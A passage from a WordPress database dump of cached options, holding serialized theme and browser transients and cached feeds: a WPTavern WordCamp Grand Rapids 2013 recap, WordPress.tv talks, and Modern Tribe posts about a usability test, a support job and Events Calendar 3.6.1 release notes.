Espinoza, and Jake Caputo. I think the session went over rather well and we covered a lot of information. The one thing that kept coming up multiple times during the talk was support. It’s expensive but it’s also the most valuable and potentially the most vital aspect of any business. We also discussed various methods to handle support as forums are great at the early stage but something like ZenDesk and tickets make sense for larger volumes of support requests. I definitely took some feedback to heart concerning my delivery and approach on stage during the session and if I ever moderate a panel like this again, the second one will be 10 times better than the first. Thanks to Brian Richards, one of the event organizers for giving me the opportunity to moderate the panel. The session that opened my eyes was Scoping Projects – A Therapy Session For Those Who Do Client Work Lisa Sabin-Wilson. Not so much from the perspective of the consultant but from the perspective of a client, realizing everything the consultant has to go through to get the job done. Her idea of scoping and how important it is to get everything on the table before starting work was key. She also discussed why having assumptions can costs you big bucks, wasted time, and make you look bad in front of the client. There should be 0 assumptions from both parties in a project. As a future client myself, I realized that I could make the process go a lot easier for both parties if I scoped out everything I wanted, every nuance, provided documentation, references for ideas and inspiration, etc. The more information I can provide the consultant about my needs, the better off we’ll both be. It was a session that I didn’t think would appeal to me but it was the most eye-opening one I’ve attended in a long time. It was an interesting experience being in a room full of people and seeing/hearing their reaction when Lisa mentioned that she had been investigated by the FBI and to perform a Google search to read about it. I won’t spoil it for you, you’ll just have to read her post.  Conclusion Most of the time during the week-end I was involved in multiple conversations with all sorts of people doing awesome things with WordPress. Overall, it was a fantastic event. The organizers as well as the volunteers should be proud of themselves. I had such a good experience within Grand Rapids that I’m thinking of taking my wife there to experience more of the city. While contributor day was awesome at WordCamp San Francisco, it was nowhere near as effective at WordCamp Grand Rapids. I think a lot of that has to do with the right people not being in attendance such as core contributors, project managers, etc. With that said, those who did show up to contributor day were working with other people on WordPress or were taking the knowledge and ideas they gained the past two days to improve their own sites or projects. This has me wondering if any other WordCamp will be able to have a contributor day as beneficial as the one held at WordCamp San Francisco 2013?                                     \'>WPTavern: My Experience – WordCamp Grand Rapids 2013</a></li><li><a class=\'rsswidget\' href=\'http://wordpress.tv/2013/08/26/jesse-friedman-real-time-site-personalization/\' title=\' Let’s start building “Dynamic Web Environments” that make intelligent, data driven, real time decisions regarding the content it serves or the experience it delivers. Venturing into this realm will allow you to create a website that modifies its own functionality, layout, and content in real time. We can begin building web environments that cater to a users needs before they even have a chance to express them. Find out how, in this talk, where Jesse will cover specific instances where we can use mobile technology, data from analytics and user feedback to build dynamic web environments.      \'>WordPress.tv: Jesse Friedman: Real-Time Site Personalization</a></li><li><a class=\'rsswidget\' href=\'http://wordpress.tv/2013/08/26/k-adam-white-evolving-your-javascript-with-backbone-js/\' title=\'WordPress 3.6 includes Backbone.js version 1.0, the JavaScript library used in the new WordPress media uploader. It can be intimidating to get started with a library like Backbone, but it is a powerful tool for developers of WordPress plugins, themes and web apps. In this session we’ll look at several ways to integrate Backbone into your WordPress themes and plugins, including a step-by-step demonstration of how Backbone improves the quality of your existing jQuery code. There’s no reason to stop there though — to close we’ll walk through other exciting ways to use Backbone alongside WordPress, including how to make a standalone Backbone application that only uses WordPress for its data. Mad science, for fun and profit!      \'>WordPress.tv: K Adam White: Evolving Your JavaScript with Backbone.js</a></li><li><a class=\'rsswidget\' href=\'http://wordpress.tv/2013/08/26/al-davis-after-the-install-3/\' title=\'     \'>WordPress.tv: Al Davis: After the Install</a></li></ul></div>','no'),(257,'_site_transient_update_themes','O:8:\"stdClass\":3:{s:12:\"last_checked\";i:1408767924;s:7:\"checked\";a:1:{s:6:\"virtue\";s:5:\"1.3.0\";}s:8:\"response\";a:1:{s:6:\"virtue\";a:4:{s:5:\"theme\";s:6:\"virtue\";s:11:\"new_version\";s:5:\"2.2.3\";s:3:\"url\";s:34:\"http://wordpress.org/themes/virtue\";s:7:\"package\";s:53:\"http://wordpress.org/themes/download/virtue.2.2.3.zip\";}}}','yes'),(358,'_site_transient_timeout_browser_f65d6caa707049be5d035c2d7574fd90','1381289892','yes'),(359,'_site_transient_browser_f65d6caa707049be5d035c2d7574fd90','a:9:{s:8:\"platform\";s:7:\"Windows\";s:4:\"name\";s:7:\"Firefox\";s:7:\"version\";s:4:\"24.0\";s:10:\"update_url\";s:23:\"http://www.firefox.com/\";s:7:\"img_src\";s:50:\"http://s.wordpress.org/images/browsers/firefox.png\";s:11:\"img_src_ssl\";s:49:\"https://wordpress.org/images/browsers/firefox.png\";s:15:\"current_version\";s:2:\"16\";s:7:\"upgrade\";b:0;s:8:\"insecure\";b:0;}','yes'),(364,'_transient_random_seed','c67e3c8e9b6a56ec485fa10dd27c95fd','yes'),(365,'_site_transient_timeout_wporg_theme_feature_list','1380696056','yes'),(366,'_site_transient_wporg_theme_feature_list','a:5:{s:6:\"Colors\";a:15:{i:0;s:5:\"black\";i:1;s:4:\"blue\";i:2;s:5:\"brown\";i:3;s:4:\"gray\";i:4;s:5:\"green\";i:5;s:6:\"orange\";i:6;s:4:\"pink\";i:7;s:6:\"purple\";i:8;s:3:\"red\";i:9;s:6:\"silver\";i:10;s:3:\"tan\";i:11;s:5:\"white\";i:12;s:6:\"yellow\";i:13;s:4:\"dark\";i:14;s:5:\"light\";}s:7:\"Columns\";a:6:{i:0;s:10:\"one-column\";i:1;s:11:\"two-columns\";i:2;s:13:\"three-columns\";i:3;s:12:\"four-columns\";i:4;s:12:\"left-sidebar\";i:5;s:13:\"right-sidebar\";}s:5:\"Width\";a:2:{i:0;s:11:\"fixed-width\";i:1;s:14:\"flexible-width\";}s:8:\"Features\";a:19:{i:0;s:8:\"blavatar\";i:1;s:10:\"buddypress\";i:2;s:17:\"custom-background\";i:3;s:13:\"custom-colors\";i:4;s:13:\"custom-header\";i:5;s:11:\"custom-menu\";i:6;s:12:\"editor-style\";i:7;s:21:\"featured-image-header\";i:8;s:15:\"featured-images\";i:9;s:15:\"flexible-header\";i:10;s:20:\"front-page-post-form\";i:11;s:19:\"full-width-template\";i:12;s:12:\"microformats\";i:13;s:12:\"post-formats\";i:14;s:20:\"rtl-language-support\";i:15;s:11:\"sticky-post\";i:16;s:13:\"theme-options\";i:17;s:17:\"threaded-comments\";i:18;s:17:\"translation-ready\";}s:7:\"Subject\";a:3:{i:0;s:7:\"holiday\";i:1;s:13:\"photoblogging\";i:2;s:8:\"seasonal\";}}','yes'),(483,'_site_transient_timeout_browser_310b2d452d746675659d10632ee963fe','1387987818','yes'),(484,'_site_transient_browser_310b2d452d746675659d10632ee963fe','a:9:{s:8:\"platform\";s:7:\"Windows\";s:4:\"name\";s:7:\"Firefox\";s:7:\"version\";s:4:\"25.0\";s:10:\"update_url\";s:23:\"http://www.firefox.com/\";s:7:\"img_src\";s:50:\"http://s.wordpress.org/images/browsers/firefox.png\";s:11:\"img_src_ssl\";s:49:\"https://wordpress.org/images/browsers/firefox.png\";s:15:\"current_version\";s:2:\"16\";s:7:\"upgrade\";b:0;s:8:\"insecure\";b:0;}','yes'),(546,'_site_transient_timeout_browser_d39a2c2c2c94b11f16ec2305c46125f7','1406529601','yes'),(547,'_site_transient_browser_d39a2c2c2c94b11f16ec2305c46125f7','a:9:{s:8:\"platform\";s:7:\"Windows\";s:4:\"name\";s:7:\"Firefox\";s:7:\"version\";s:4:\"31.0\";s:10:\"update_url\";s:23:\"http://www.firefox.com/\";s:7:\"img_src\";s:50:\"http://s.wordpress.org/images/browsers/firefox.png\";s:11:\"img_src_ssl\";s:49:\"https://wordpress.org/images/browsers/firefox.png\";s:15:\"current_version\";s:2:\"16\";s:7:\"upgrade\";b:0;s:8:\"insecure\";b:0;}','yes'),(548,'_transient_timeout_feed_9d60b69c1d2c0d4e76c5c4146b9dba24','1405968004','no'),(549,'_transient_feed_9d60b69c1d2c0d4e76c5c4146b9dba24','a:4:{s:5:\"child\";a:1:{s:0:\"\";a:1:{s:3:\"rss\";a:1:{i:0;a:6:{s:4:\"data\";s:3:\"\n\n\n\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:7:\"version\";s:3:\"2.0\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:1:{s:7:\"channel\";a:1:{i:0;a:6:{s:4:\"data\";s:50:\"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n		\n		\n		\n		\n		\n		\n		\n		\n		\n		\n	\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:3:{s:0:\"\";a:8:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Modern Tribe Inc. » Products\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"http://tri.be\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:47:\"WordPress event plugins for people who kick ass\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:13:\"lastBuildDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 21 Jul 2014 06:19:48 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"language\";a:1:{i:0;a:5:{s:4:\"data\";s:5:\"en-US\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:9:\"generator\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"http://wordpress.org/?v=3.5.2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:5:\"image\";a:1:{i:0;a:6:{s:4:\"data\";s:0:\"\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:1:{s:3:\"url\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://tri.be/wp-content/themes/moderntribe/images/branding/logo.png\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}s:4:\"item\";a:10:{i:0;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:50:\"Usability test for prospective customers next week\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:65:\"http://tri.be/usability-test-for-prospective-customers-next-week/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:74:\"http://tri.be/usability-test-for-prospective-customers-next-week/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 02 Jul 2014 17:56:42 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:20:\"News & Announcements\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"http://tri.be/?p=267813\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:656:\"Modern Tribe has another usability test on the docket! This one is going to be different than our past sessions: instead of talking to existing customers, we&#8217;re interested exclusively in users who have not yet tried or purchased The Events Calendar/Events Calendar PRO. We won&#8217;t be testing the calendar itself &#8211; instead, we&#8217;re doing a usability test on the existing tri.be website in an effort to influence design/UX decisions on our forthcoming eventscalendarpro.com site. These sessions &#8230; <a href=\"http://tri.be/usability-test-for-prospective-customers-next-week/\">Continue reading <span class=\"meta-nav\">&#8594;</span></a>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:3:\"Rob\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:1625:\"<p>Modern Tribe has another usability test on the docket! This one is going to be different than our past sessions: instead of talking to existing customers, we&#8217;re interested <em>exclusively</em> in users who have not yet tried or purchased The Events Calendar/Events Calendar PRO. We won&#8217;t be testing the calendar itself &#8211; instead, we&#8217;re doing a usability test on the existing tri.be website in an effort to influence design/UX decisions on our forthcoming eventscalendarpro.com site.</p>\n<p>These sessions will last about 30 minutes and are set to take place early in the week of July 7 (times are flexible and we&#8217;ll schedule individually with confirmed participants).</p>\n<p>There aren&#8217;t a ton of requirements here, but please don&#8217;t reply unless you:</p>\n<ul>\n<li><span style=\"line-height: 13px;\">Have never used The Events Calendar or Events Calendar PRO in your life. (If you&#8217;re a current license holder, this usability test isn&#8217;t going to be a good fit for you.)</span></li>\n<li>Are on a strong, reliable Internet connection that can handle video conferencing gracefully.</li>\n<li>Have either a Skype or Google Hangout account that can be used for the conversation/screenshare.</li>\n<li>Possess a strong command of the English language.</li>\n</ul>\n<p>Interested in joining? Awesome &#8212; all participants will be given a coupon for a free personal copy of any premium Modern Tribe plugin they&#8217;d like. <a href=\"mailto:rob@tri.be\">Shoot us a note</a> if you think you&#8217;d be a good fit, providing a sentence or two about why you&#8217;re interested.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"http://tri.be/usability-test-for-prospective-customers-next-week/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:1;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:40:\"Help wanted: WordPress Technical Support\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"http://tri.be/help-wanted-wordpress-technical-support-2/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:65:\"http://tri.be/help-wanted-wordpress-technical-support-2/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 26 Jun 2014 22:02:04 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:20:\"News & Announcements\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"http://tri.be/?p=253636\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:585:\"Modern Tribe is looking for great, passionate people to join our community team. Are you happy, helpful, curious + accountable? Is working on cool stuff with a diverse group of freelancers in a fast-paced remote setting your ideal work environment? Do you use The Events Calendar and have a strong command of its codebase? If so, we’d love to talk with you. Modern Tribe is the company behind The Events Calendar and its stable of premium add-ons, &#8230; <a href=\"http://tri.be/help-wanted-wordpress-technical-support-2/\">Continue reading <span class=\"meta-nav\">&#8594;</span></a>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:3:\"Rob\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:3666:\"<p><strong>Modern Tribe is looking for great, passionate people to join our community team. </strong>Are you happy, helpful, curious + accountable? Is working on cool stuff with a diverse group of freelancers in a fast-paced remote setting your ideal work environment? Do you use The Events Calendar and have a strong command of its codebase? If so, we’d love to talk with you.</p>\n<p>Modern Tribe is the company behind <a href=\"http://wordpress.org/plugins/the-events-calendar/\" target=\"_blank\">The Events Calendar</a> and its stable of premium add-ons, and we’re growing. We’ve got an immediate opening on our community team for someone looking to take on 10-20 hours of technical support work a week. The types of tasks you’d be working on include:</p>\n<ul>\n<li>Managing the support forums, providing troubleshooting guidance for bugs and common integration issues. All our technical support is handled via forums, and we strive to get all threads a reply within 24 hours.</li>\n<li>Testing bug reports locally and logging confirmed bugs in our projects system, with appropriate detail and testing instructions.</li>\n<li>Pre-release QA testing of our monthly maintenance releases to ensure the code is stable.</li>\n<li>Creating tutorials, snippets, screencasts and other support materials to help users help themselves.</li>\n<li>Running regular user testing sessions and serving as the voice of the community during roadmap discussions.</li>\n</ul>\n<p>You will be on the front-lines, representing Modern Tribe to customers. In many ways, you are the face of the company.</p>\n<p>Looking for opportunities beyond support? We’ve got you covered; the folks on Modern Tribe’s community team have their hands in everything! Though technical support will be your wheelhouse, there are plenty of opportunities to learn and get your hands dirty in all sides of the business. QA testing, marketing, project management, design and development opportunities are all available for those who demonstrate passion and proficiency handling support. If there is an area you wish to grow in the WordPress space, we’ll do our best to provide you with tools to get there.</p>\n<p><strong>Requirements</strong></p>\n<p>Please read this list before applying — candidates who apply without meeting this criteria will not be considered for the gig. The right candidate will have:</p>\n<ul>\n<li>Specific experience doing remote technical support, ideally for a WordPress plugin or theme. (Please provide links to examples.) If you aren’t comfortable working with or troubleshooting HTML, CSS, PHP or Javascript, you probably won’t be a good fit for this gig. Don&#8217;t have experience? Be a contributor to the community and help some people out on <a href=\"http://wordpress.org/plugins\" target=\"_blank\">wordpress.org/plugins</a> for a week to see if you like it before applying!</li>\n<li>Familiarity with our primary plugin, The Events Calendar.</li>\n<li>Experience working in a remote, distribute environment.</li>\n<li>Great communication skills, a transparent attitude and values in line with our company’s motto of “happy, helpful, curious + accountable.”</li>\n<li><strong>(BONUS)</strong> Code samples that demonstrate technical abilities — plugins, snippets or anything else our devs can review to get a sense of your experience.</li>\n</ul>\n<p>Please note that we’re seeking full-time freelancers only — this is not a “job”, but a freelance gig. You will be expected to maintain other clients in addition to Modern Tribe, and will be responsible for managing your commitments accordingly. Those moonlighting from a full-time job need not apply.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"http://tri.be/help-wanted-wordpress-technical-support-2/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:2;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"Release: The Events Calendar, PRO, Filter Bar + Community Events 3.6.1\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"http://tri.be/release-the-events-calendar-pro-filter-bar-community-events-3-6-1/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:89:\"http://tri.be/release-the-events-calendar-pro-filter-bar-community-events-3-6-1/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Jun 2014 17:59:39 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Release Notes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"http://tri.be/?p=201512\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:630:\"Hey folks! Hot on the heels of our 3.6 release last week, we&#8217;ve deployed a secondary maintenance build that addresses a few of the issues causing pain points among the community. As of today we shipped 3.6.1 builds for the following four plugins: The Events Calendar Events Calendar PRO Community Events Filter Bar The Events Calendar 3.6.1 Fixed some JS/CSS minification issues Fixed an issue where the &#8220;Hide From Event Listings&#8221; checkbox was not hiding &#8230; <a href=\"http://tri.be/release-the-events-calendar-pro-filter-bar-community-events-3-6-1/\">Continue reading <span class=\"meta-nav\">&#8594;</span></a>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:3:\"Rob\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:2556:\"<p>Hey folks! Hot on the heels of our <a href=\"http://tri.be/release-version-3-6-of-the-events-calendar-events-calendar-pro-all-add-ons/\">3.6 release last week</a>, we&#8217;ve deployed a secondary maintenance build that addresses a few of the issues causing pain points among the community. As of today we shipped 3.6.1 builds for the following four plugins:</p>\n<ul>\n<li><strong><span style=\"line-height: 13px;\">The Events Calendar</span></strong></li>\n<li><strong>Events Calendar PRO</strong></li>\n<li><strong>Community Events</strong></li>\n<li><strong>Filter Bar</strong></li>\n</ul>\n<h3>The Events Calendar 3.6.1</h3>\n<ul>\n<li>Fixed some JS/CSS minification issues</li>\n<li>Fixed an issue where the &#8220;Hide From Event Listings&#8221; checkbox was not hiding events from Month view <em>(thanks to britlander on the forums for the report!)</em></li>\n<li>Incorporated updated Greek translation files, courtesy of Yannis Troullinos</li>\n</ul>\n<h3>Events Calendar PRO 3.6.1</h3>\n<ul>\n<li>Fixed some CSS/JS minification issues</li>\n<li>Fixed a bug where the calendar widget list pagination wasn’t working properly <em>(thanks to jsoto22 on the forums for the initial report!)</em></li>\n<li>Fixed a bug where the certain data related to website URLs got garbled when displaying on the frontend<em> (thanks to agershon on the forum for the report!)</em></li>\n<li>Fixed an issue where the Google Maps API script didn&#8217;t have a more specific script handle <em>(thanks to @isagenix on the forum for the heads up!)</em></li>\n<li>Incorporated updated Greek translation files, courtesy of Yannis Troullinos</li>\n</ul>\n<h3>Community Events 3.6.1</h3>\n<ul>\n<li>Fixed some CSS/JS minification issues</li>\n</ul>\n<h3>Filter Bar 3.6.1</h3>\n<ul>\n<li>Fixed some CSS/JS minification issues</li>\n</ul>\n<p>Encountering an issue with 3.6.1? We&#8217;re here to help &#8212; just let us know in the <a href=\"http://tri.be/support/forums/\">forums</a>.</p>\n<p>One last note: While we&#8217;d previously referred to these as &#8220;hotfixes,&#8221; we&#8217;re now calling them &#8220;secondary maintenance releases&#8221; because we find ourselves seeing a need for a small clean-up dot-release which each monthly build we ship. For the most part you can expect x.x.1 releases for the foreseeable future &#8212; beyond helping cut down the support load for the month, doing so gets you guys patches for the more crucial problems you&#8217;ve reported without having to wait another full month to get them. We welcome your thoughts and feedback on this new approach!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:85:\"http://tri.be/release-the-events-calendar-pro-filter-bar-community-events-3-6-1/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:3;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"Release: Version 3.6 of The Events Calendar, Events Calendar PRO + all 